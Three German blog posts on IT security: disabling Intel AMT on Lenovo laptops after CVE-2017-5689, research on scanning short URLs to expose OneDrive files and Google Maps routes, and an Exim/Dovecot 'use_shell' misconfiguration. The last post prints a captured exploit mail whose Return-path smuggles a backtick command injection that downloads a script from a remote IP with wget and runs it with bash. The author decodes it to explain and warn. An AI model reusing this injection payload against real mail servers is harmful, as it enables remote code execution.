Netz - Rettung - Recht (Artikel mit Tag security)

Lenovo Laptops und Intels AMT

nospam@example.com (Thomas Hochstein) — Mon, 15 May 2017 04:50:00 +0000

Neuere Prozessoren und Chipsätze von Intel verfügen über eine Management Engine (ME), einen gesonderten Prozessor, der von der CPU und dem laufenden Betriebssystem unabhängig ist. Auf diesem Prozessor kann unter anderem eine Active Management Technology (AMT) genannte Software laufen, die eine Fernkonfiguration ermöglichen soll, bspw. zur Verwaltung von Rechnern innerhalb einer größeren Organisation mit eigener IT-Abteilung.

Lenovo bietet Laptops mit Intels vPro-Technologie an, zu der auch AMT gehört.

Leider enthält der AMT-Code eine gravierende Schwachstelle, die einen Zugriff ohne Passwort ermöglicht.

ME und AMT

Die ME läuft “unterhalb” des Betriebssystem auf Hardware-Ebene; Schwachstellen im Code betreffen daher nicht nur Windows-Rechner, sondern jeden Rechner mit diesem Chipsatz. Bei aktivierter AMT werden Zugriffe u.a. auf Port 16992 und 16993 bereits auf Ebene der Netzwerkkarte zur AMT umgeleitet; das Betriebssystem bekommt diese Pakete gar nicht erst zu sehen. Das gilt nach allem, was man weiß, ggf. auch für das WLAN-Interface, also nicht nur für die drahtgebundene Netzwerkschnittstelle. Auf diesen Ports lauscht ein interner Webserver, der nach Angabe eines Passworts den Zugriff auf Fernwartungsaufgaben ermöglicht, so dass u.a. ein Reboot des Rechners ausgelöst werden kann, aber auch Zugriff auf eine serielle Konsole und die Angabe eines externen Bootmediums soll möglich sein. Es ist also denkbar, den Rechner neu zu starten und von einem Image aus dem Netz booten zu lassen.

Silent Bob is Silent

Der AMT-Webserver enthält eine Schwachstelle, die den Namen Silent Bob is Silent [PDF] erhalten hat und unter CVE-2017-5689 registriert wurde. Diese Schwachstelle ermöglicht unter Angabe eines leeren Passworts unbeschränkten Admin-Zugriff auf die AMT.

Bei entsprechender Konfiguration ist ein Rechner (bspw. ein Laptop) also über jedes WLAN, in dem er sich anmeldet, angreifbar.

Matthew Garrett beschreibt diese Schwachstelle und ihre Implikationen in zwei Blogbeiträgen:

Die Schwachstelle betrifft gleichermaßen Intel Standard Manageability (ISM) und Small Business Technology (SBT).

Eine Behebung kann nur per Firmware-Update erfolgen, sobald ein solches zur Verfügung steht.

AMT auf Lenovo-Laptops deaktivieren

Auf den Laptops von Lenovo (mit vPro-Technologie) ist AMT bei Auslieferung bereits aktiviert, die Rechner sind also prinzipiell verwundbar. Lenovo bietet in seinem Advisory eine umfangreichee Liste der betroffenen Rechner an.

Im BIOS lässt sich AMT scheinbar deaktivieren; nach allem, was bekannt ist, steuert diese Option aber nur die Zugriffsmöglichkeit des Nutzers auf die AMT-Konfiguration. Wird AMT hier deaktiviert (und das BIOS ggf. per Passwort gegen Änderungen geschützt), kann der Nutzer AMT nicht mehr konfigurieren; im Gegenteil wird es offenbar sogar auf eine Standardkonfiguration zurückgesetzt. AMT muss daher im BIOS aktiviert bleiben; (erst) dann ist der Zugriff auf die Management Engine BIOS Extension (MEBx) möglich, mit der AMT dann konfiguriert und insbesondere deaktiviert werden kann. Diese ist am Anfang des Bootvorgangs über Ctrl-P zugänglich.

Im Lenovo-Forum findet sich eine Beschreibung der Vorgehensweise im Thread T420: How to completely deactivate Intel AMT. Die Angaben dort passen mutatis mutandis auch auf einen T520.

Was dort nicht erwähnt wird: das Standardpasswort ist admin, und es muss zunächst geändert werden. Das neue Passwort muss allerdings bestimmten Mindestanforderungen gehorchen. Ist das nicht der Fall, wird es mit einer weitgehend nichtssagenden Fehlermeldung nicht gespeichert. Danach allerdings lässt sich AMT deaktivieren. Der Webserver auf Port 16992 ist dann weiter erreichbar, nimmt aber keine Anmeldungen mehr entgegen.

Ein lokaler Nutzer kann diese Dienste allerdings jederzeit wieder aktivieren, solange nicht auch der Local Manageability Service (LMS) deinstalliert wird.

Weitere Ressourcen

Disabling Intel AMT on Windows (and a simpler CVE-2017-5689 Mitigation Guide)
Eine alternative Vorgehensweise zur Deaktivierung.
Intel AMT Vulnerability Tracking Page
Übersicht und Linksammlung
INTEL-SA-00075 Mitigation Guide [PDF]

Das "Erraten" geheimer URLs

nospam@example.com (Thomas Hochstein) — Fri, 22 Apr 2016 17:00:00 +0000

Ab und an hat man als Nutzer den Wunsch, ein Dokument, ein Bild oder eine andere Datei mit Freunden, Bekannten oder Kollegen zu teilen. Dafür lassen sich mittlerweile Cloud-Speicherdienste wie Dropbox, Google Drive oder auch Microsofts OneDrive nutzen, die nicht nur Dateien speichern, sondern auch zwischen verschiedenen Rechnern synchronisieren und für Dritte abrufbar machen können. Zumindest früher war es hingegen üblich (und ist vielleicht auch jetzt noch hier und da verbreitet), einfach den eigenen Webspace für diese Zwecke zu nutzen, also die Datei hochzuladen und den Adressaten die URL bzw. den Link mitzuteilen.

Security by obscurity

Gar nicht so selten wurde dabei - und wird auch weiterhin bei den Cloud-Diensten - darauf gesetzt, dass schon niemand den richtigen Dateinamen wird erraten können, so dass auf Zugriffskontrollen (im einfachsten Falle per .htaccess-Datei des Webservers oder vergleichbaren Mechanismen) verzichtet wird. Gerade bei den Cloud-Diensten ist eine Zugriffskontrolle oft auch nur möglich, wenn jeder Nutzer selbst über einen Account bei diesem Dienst verfügt, was nicht immer der Fall ist. Diese Vorgehensweise stellt natürlich ein kalkuliertes Risiko dar, geht aber meistens wohl gut - wenn man die simple Vorsichtsmaßnahme beachtet, seinem Webserver zu verbieten, Verzeichnisinhalte anzuzeigen, und wenn die URL nicht auf irgendeine Weise Dritten - insbesondere einer Suchmaschine - bekannt wird. Letztere Gefahr sollte man nicht unterschätzen; führt bspw. aus dem zu teilenden Dokument ein Hyperlink zu anderen Inhalten, übermittelt der Browser die “geheime” URL in der Regel als Teil des Referer-Headers. Als böse Falle können sich auch Webserver-Zugriffsstatistiken erweisen, die ungeschützt im Netz stehen, oder auch Browser und deren Add-Ins, die zu welchem Zweck auch immer die Adressen der besuchten Webseiten bzw. -dokumente an Dritte übermitteln, oder Proxy-Server, oder ungesicherte WLANs, oder … Insgesamt erscheint das Risiko jedoch überschaubar.

Wirklich problematisch allerdings wird es, wenn die “geheime” URL sich erraten oder durch simples Ausprobieren erreichen lässt. Und dieses Problem haben - prinzipbedingt - die beliebten URL-Verkürzer wie bit.ly, goo.gl und Co.

URL-Shortener und “geheime” URLs

Nicht nur, dass bei deren Nutzung die “geheime” URL jedenfalls an den Betreiber des Verkürzungsdienstes übermittelt wird, ohne Kontrolle, was dieser damit anfängt: gerade die Kürze der generierten “short URLs” erlaubt es, diese - oder einen Teil des entsprechenden Adressraums - einfach auf gut Glück abzusuchen. Genau das haben zwei Forscher von Cornell Tech, einem Campus der Cornell University, getan und die Ergebnisse dann veröffentlicht. Dabei haben sie nicht wahllos gesucht, sondern sich zwei spezielle Anwendungsfälle ausgeguckt: einmal Microsoft OneDrive und einmal Google Maps. Das Ergebnis war erschreckend.

OneDrive

OneDrive ermöglicht es demnach, für einzelne Dateien oder ganze Ordner einen Kurz-Link innerhalb der Domain 1drv.ms generieren zu lassen, unter dem anderen diese Dateien oder Ordner dann aufrufen lassen. Dahinter steht der Dienst von bit.ly, so dass die generierten Kurzlinks auch unter dieser Domain aufrufbar sind. Und die Kurzlinks sind wirklich kurz, nämlich nur 5-7 Zeichen lang. Bei wahllosem Aufruf von 100 Mio. Kurzlinks mit sechs alphanumerischen Zeichen waren immerhin 42% tatsächlich für Weiterleitungen in Gebrauch; knapp 20.000 davon (0,02%) waren tatsächlich - dann ungeschützte - OneDrive-Dateien oder -Verzeichnisse.

Damit nicht genug: nach dem Bericht der Forscher lässt sich aus der Struktur der OneDrive-URLs die URL des Wurzelverzeichnisses des betroffenen Accounts ablesen. Von da aus lassen sich dann alle Dateien abrufen, die mit jedermann oder derselben Gruppe wie die ursprüngliche Datei geteilt wurden. Das führte dann schon zu der 10fachen Anzahl, nämlich über 200.000, Dokumenten, die so abrufbar waren. Ein erneuter Versuch mit 100 Mio. Abrufen von siebenstelligen Kurzlinks führte mit dieser Methode zu insgesamt 1,1 Mio. (!) Dokumenten, auf die die Forscher hätten zugreifen können.

Und, noch schlimmer: rund 7% der entdeckten OneDrive-Verzeichnisse war nicht nur lesend, sondern auch schreibend freigegeben, bot also die Möglichkeit, dort gespeicherte Daten zu verändern oder virenverseuchte Dateien hochzuladen, die dann automatisch auf alle mit dem Account verbundenen Rechner repliziert werden. Ein Alptraum.

Die Forscher geben an, dass Microsofts Security Response Center (MSRC) sich davon allerdings weitgehend unbeeindruckt gezeigt habe; nach einem Mailwechsel, der sich über zwei Monate hinzog, habe man sie im August 2015 beschieden, das geschilderte Verhalten von OneDrive sei so vorgesehen (“by design”) und daher kein Fall für das MSRC. Angeblich unabhängig davon sei aber seit März 2016 die Erzeugung von Kurz-URLs nicht mehr möglich; auch sei die URL-Struktur der Accounts nicht mehr vorhersagbar, so dass es nicht mehr möglich sei, von einer Datei oder einem Verzeichnis aus den gesamten Account zu durchsuchen. Die bisherigen Kurz-URLs seien aber weiter verfügbar.

Google Maps

Auch Google Maps bietet einen URL-Verkürzer für Kartenausschnitte und Navigationsrouten an. Ein zufälliger Abruf von rund 64 Mio. der fünfstelligen Tokens führte zu rund 24 Mio. vorhandenen Zielen; immerhin 10% davon und damit über 2 Mio. waren Routen mit Start und Ziel. Unter den Zielen waren psychiatrische Krankenhäuser und onkologische Fachkliniken, Suchtbehandlungsstellen, Abtreibungskliniken, Gefängnisse und Jugendarrestanstalten, Vergnügungsetablissements und andere Ziele, die die Ersteller dieser Routen - die nicht selten aufgrund des Startpunktes identifizierbar waren - sicherlich nur ungern veröffentlicht gesehen haben würden. So gelang es den Forschern, Name, Adresse und Alter einer jungen Frau zu ermitteln, deren Routenplanung zu einer reproduktionsmedizinischen Einrichtung führte; in einem anderen Fall identifizierte die Vielzahl der gespeicherten Routen, die teilweise zu den Standorten von Geocaches führten, den betreffenden Nutzer als eifrigen Geocacher.

Das Google Security Team immerhin hat auf den Hinweis unverzüglich reagiert. Seit September 2015 werden für Google Maps 11-12stellige “Tokens” erzeugt, und der massenhafte Abruf (“Scan”) bestehender Kurz-URLs wird - sofern als solcher erkennbar - unterbunden.

Fazit

Eigentlich ist all das nicht neu: jedermann weiß, kann wissen oder könnte sich denken, dass einerseits ungeschützte Dateien auch durch Unbefugte abgerufen werden können, wenn sie denn wissen, wo, und dass andererseits kurze URLs leicht “abgegrast” werden können. Dennoch ist dieses Zusammenspiel meines Erachtens doch in seinen Implikationen einigermaßen überraschend - gerade wenn man an das Beispiel Google Maps denkt. Ob wirklich jedem klar ist, der einen Kurzlink zu einer bestimmten Route erstellt, um diese nur mit sich selbst zu “teilen”, wenn er sie noch einmal braucht, dass möglicherweise auch Unbefugte an diese Route gelangen und ggf. Rückschlüsse auf die eigene Person und das soziale Umfeld ziehen können? Ich glaube nicht.

Vom Advisory zum Exploit binnen eines Tages

nospam@example.com (Thomas Hochstein) — Sun, 05 May 2013 09:29:00 +0000

Am Freitag, dem dritten Mai, wurde ein Warnhinweis (Advisory) auf eine weit verbreitete Fehlkonfiguration in der Kombination von Exim mit Dovecot publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für Exim, mit dem eingehende E-Mails durch den zu Dovecot gehörenden LDA deliver ausgeliefert werden sollen, enthielt auch die Option "use_shell", die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation erläutert:

Not running the command under a shell (by default) lessens the security risks in cases when a command from a user’s filter file is built out of data that was taken from an incoming message. If a shell is required, it can of course be explicitly specified as the command to be run. However, there are circumstances where existing commands (for example, in .forward files) expect to be run under a shell and cannot easily be modified. To allow for these cases, there is an option called use_shell, which changes the way the pipe transport works. Instead of breaking up the command line as just described, it expands it as a single string and passes the result to /bin/sh. The restrict_to_path option and the $pipe_addresses facility cannot be used with use_shell, and the whole mechanism is inherently less secure.

Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA deliver bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar root sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von deliver doch u.a. den Absender der E-Mail, den sog. Envelope-From (oder auch Return-Path), bspw. so: command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address

$sender_address ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option use_shell wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.

Am 02.05.2013 wurde das Beispiel im Wiki für Dovecot 1.x und auch in der Dokumentation für Dovecot 2.x berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.

Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:

Return-path: <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl“bash${IFS}/tmp/a.pl`team@example.com>
Envelope-to: postmaster@greenmeadow.szaf.org
Delivery-date: Sat, 04 May 2013 21:57:19 +0200
Received: from [178.218.211.118] (helo=abcde.com)
    by greenmeadow.szaf.org with esmtp (Exim 4.72)
    (envelope-from <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl“bash${IFS}/tmp/a.pl`team@example.com>)
    id 1UYia4-000387-Es
    for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013 21:57:19 +0200
Subject: test

Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:

wget 178.218.211.118/b -O /tmp/a.pl
bash /tmp/a.pl

Es würde also die Datei b von der Maschine heruntergeladen und in der Datei a.pl im Verzeichnis /tmp gespeichert und dann ausgeführt.

Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nach der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.

(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)